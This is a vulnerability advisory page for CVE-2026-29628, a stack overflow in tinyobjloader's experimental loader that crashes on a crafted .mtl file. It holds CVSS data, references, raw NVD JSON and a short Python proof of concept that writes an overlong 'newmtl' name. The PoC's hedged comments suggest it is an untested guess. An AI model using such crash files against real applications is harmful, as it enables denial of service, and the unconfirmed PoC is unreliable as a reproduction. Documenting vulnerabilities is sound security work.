CVE-2026-29628

Description

A stack overflow in the experimental/tinyobj_loader_opt.h file of tinyobjloader commit d56555b allows attackers to cause a Denial of Service (DoS) via supplying a crafted .mtl file.

CVSS Details

CVSS Score

6.2

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

tinyobjloader commit d56555b

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import os

# PoC for CVE-2026-29628
# Generates a crafted .mtl file designed to trigger stack overflow

def generate_malicious_mtl(filename):
    # The payload contains a long string to overflow the buffer
    # Adjust length based on the specific stack size in tinyobj_loader_opt.h
    overflow_size = 10000
    junk = "A" * overflow_size
    
    # Constructing the malicious content
    # The vulnerability triggers when parsing material names or properties
    malicious_content = f"newmtl {junk}\n"
    
    with open(filename, "w") as f:
        f.write(malicious_content)
    print(f"[+] Malicious .mtl file generated: {filename}")

if __name__ == "__main__":
    generate_malicious_mtl("exploit_CVE_2026_29628.mtl")
    # Note: Load this file with the vulnerable tinyobjloader version to reproduce the crash.

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-29628
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-29628
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-29628/
[4] VulDB https://vuldb.com/cve/CVE-2026-29628
[5] https://github.com/kiyochii/CVE-2026-29628
[6] https://github.com/kiyochii/tinyobjloader/commit/386b73bb8c1a855236beb73b11f45f7feac4e03a

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-29628", "sourceIdentifier": "[email protected]", "published": "2026-04-13T15:17:19.673", "lastModified": "2026-04-27T19:18:46.690", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack overflow in the experimental/tinyobj_loader_opt.h file of tinyobjloader commit d56555b allows attackers to cause a Denial of Service (DoS) via supplying a crafted .mtl file."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://github.com/kiyochii/CVE-2026-29628", "source": "[email protected]"}, {"url": "https://github.com/kiyochii/tinyobjloader/commit/386b73bb8c1a855236beb73b11f45f7feac4e03a", "source": "[email protected]"}]}}